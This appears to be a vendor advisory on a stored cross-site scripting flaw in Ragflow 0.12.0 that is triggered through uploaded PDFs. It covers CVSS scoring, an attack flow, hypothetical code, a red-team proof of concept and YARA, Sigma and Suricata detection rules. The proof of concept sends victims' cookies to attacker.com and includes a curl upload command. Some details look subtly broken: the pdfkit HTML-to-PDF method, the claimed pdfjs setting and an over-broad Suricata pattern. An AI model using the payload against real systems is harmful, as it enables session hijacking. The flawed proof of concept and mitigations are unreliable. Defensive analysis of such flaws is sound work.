CVE-2024-12871

Executive Summary

CVE-2024-12871 is a stored Cross-Site Scripting (XSS) vulnerability in Infiniflow Ragflow version 0.12.0. An attacker with access to upload documents to the knowledge base can inject malicious JavaScript payloads within a PDF file. When any user views the uploaded PDF through the Ragflow interface, the payload executes in the victim's browser context. This can lead to session hijacking, data exfiltration, or unauthorized actions performed on behalf of the victim, compromising sensitive user data and affecting the integrity of the entire application. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known patch.

Supply Chain & Package Security

This vulnerability affects the Ragflow application, which is distributed as a Python package via PyPI. Organizations using Ragflow should verify their version and monitor for updates. The lack of a patch means that supply chain security is currently reliant on compensating controls.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker needs a valid account with upload privileges.
• User Interaction (UI): Required (R) – The victim must view the malicious PDF.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure is possible.
• Integrity (I): Low (L) – Limited data modification is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and data exfiltration makes this a significant risk for environments where Ragflow handles sensitive data.

Deep Dive & Mechanics

The vulnerability resides in how Ragflow processes PDF files uploaded to its knowledge base. When a user uploads a PDF, the application does not properly sanitize or escape JavaScript content embedded within the PDF. Specifically, the application likely uses a PDF viewer (e.g., PDF.js) that renders the PDF content in the user's browser. If the PDF contains JavaScript (e.g., via embedded actions or forms), the viewer may execute it in the context of the Ragflow application's origin.

Attack Flow:

1. Attacker Preparation: The attacker crafts a PDF file containing a malicious JavaScript payload. This can be done using tools like pdfkit or by manually editing PDF structures to include JavaScript actions (e.g., /OpenAction or /AA entries).
2. Upload: The attacker uploads the malicious PDF to the Ragflow knowledge base using their valid credentials.
3. Victim Interaction: A legitimate user (e.g., an administrator or another team member) views the uploaded PDF through the Ragflow interface.
4. Payload Execution: The PDF viewer renders the file and executes the embedded JavaScript. The script runs in the context of the Ragflow application's domain, allowing it to access cookies, local storage, and perform actions on behalf of the victim.
5. Impact: The attacker can steal session tokens, exfiltrate sensitive data displayed in the application, or perform actions like modifying documents or creating new users.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code path. The vulnerability likely exists in the PDF rendering component or the API endpoint that serves PDF files.

Vulnerable Code (Hypothetical):

# ragflow/api/knowledge_base.py
@app.route('/api/knowledge_base/<file_id>/view')
def view_file(file_id):
    file = get_file_from_db(file_id)
    if file.type == 'pdf':
        # Directly serves the PDF without sanitization
        return send_file(file.path, mimetype='application/pdf')

Patched Code (Hypothetical):

# ragflow/api/knowledge_base.py
import pdfplumber
from flask import Response

@app.route('/api/knowledge_base/<file_id>/view')
def view_file(file_id):
    file = get_file_from_db(file_id)
    if file.type == 'pdf':
        # Sanitize PDF by removing JavaScript actions
        sanitized_pdf = remove_js_from_pdf(file.path)
        return Response(sanitized_pdf, mimetype='application/pdf')

The patch would involve stripping JavaScript actions from PDFs before serving them, or using a secure PDF viewer that disables JavaScript execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A valid account on a Ragflow instance with upload permissions.
• Python environment with pdfkit or similar library.

Step 1: Craft Malicious PDF

import pdfkit

# Create a simple HTML page with JavaScript payload
html_content = """
<html>
<body>
<script>
    // Exfiltrate cookies
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</body>
</html>
"""

# Convert to PDF
pdfkit.from_string(html_content, 'malicious.pdf')

Step 2: Upload PDF

curl -X POST -F "file=@malicious.pdf" -H "Authorization: Bearer <token>" http://target-ragflow/api/knowledge_base/upload

Step 3: Victim Views PDF

• The victim navigates to the knowledge base and clicks on the malicious PDF.
• The JavaScript executes, sending cookies to the attacker's server.

Step 4: Session Hijacking

• The attacker uses the stolen cookies to impersonate the victim.

Blue Team (Defender)

Detection:

• Monitor for unusual PDF uploads with large file sizes or suspicious metadata.
• Use network monitoring to detect outbound connections to unknown domains from the Ragflow server.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Disable JavaScript execution in the PDF viewer (e.g., set pdfjs.disableRange=true or use a viewer that doesn't support JavaScript).
• Sanitize PDFs upon upload using tools like pdfid or peepdf to remove JavaScript actions.
• Implement strict input validation and output encoding.

Response:

• If an attack is detected, revoke all active sessions and force password resets.
• Remove the malicious PDF from the knowledge base.
• Conduct a forensic analysis to determine the scope of the compromise.

Indicators of Compromise (IOCs)

File-Based IOCs:

• PDF files containing JavaScript actions (e.g., /OpenAction, /AA, /JavaScript).
• PDF files with unusual metadata or large file sizes relative to content.

Network IOCs:

• Outbound HTTP/HTTPS requests to unknown or suspicious domains from the Ragflow server.
• Requests containing cookie data in query parameters (e.g., ?cookie=...).

Behavioral IOCs:

• Multiple failed login attempts followed by successful session hijacking.
• Unusual API calls from a single user account (e.g., mass document downloads).

Detection Engineering

YARA Rule

rule CVE_2024_12871_PDF_XSS {
    meta:
        description = "Detects PDF files with embedded JavaScript actions indicative of CVE-2024-12871"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12871"
    strings:
        $js_action = "/JavaScript" nocase
        $open_action = "/OpenAction" nocase
        $aa_action = "/AA" nocase
        $js_code = /<script[^>]*>.*?<\/script>/s
    condition:
        ($js_action or $open_action or $aa_action) and $js_code
}

Sigma Rule

title: CVE-2024-12871 - PDF Upload with Embedded JavaScript
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of PDF files containing JavaScript actions to Ragflow knowledge base
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: ragflow
detection:
    selection:
        EventID: 1001  # Hypothetical upload event
        FileExtension: 'pdf'
        FileSize: '> 100KB'  # Suspicious size
    condition: selection
falsepositives:
    - Legitimate PDFs with forms or dynamic content
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12871 - Potential XSS via PDF Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/knowledge_base/upload"; http_uri; content:"application/pdf"; http_content_type; pcre:"/JavaScript|OpenAction|AA/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PDF Uploads: Temporarily disable the ability to upload PDF files to the knowledge base until a patch is available.
2. Sanitize PDFs: Implement a PDF sanitization pipeline that removes JavaScript actions using tools like pdfid or peepdf.
3. Restrict User Permissions: Limit upload privileges to trusted users only.

Long-Term Fix:

• Apply the official patch from Infiniflow when released.
• Upgrade to a patched version of Ragflow.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Compensating Controls:

• Use a web application firewall (WAF) to block malicious PDF uploads.
• Enable multi-factor authentication (MFA) to reduce the impact of session hijacking.
• Monitor logs for suspicious activity related to PDF viewing.

Valters IT
Securing Digital Frontiers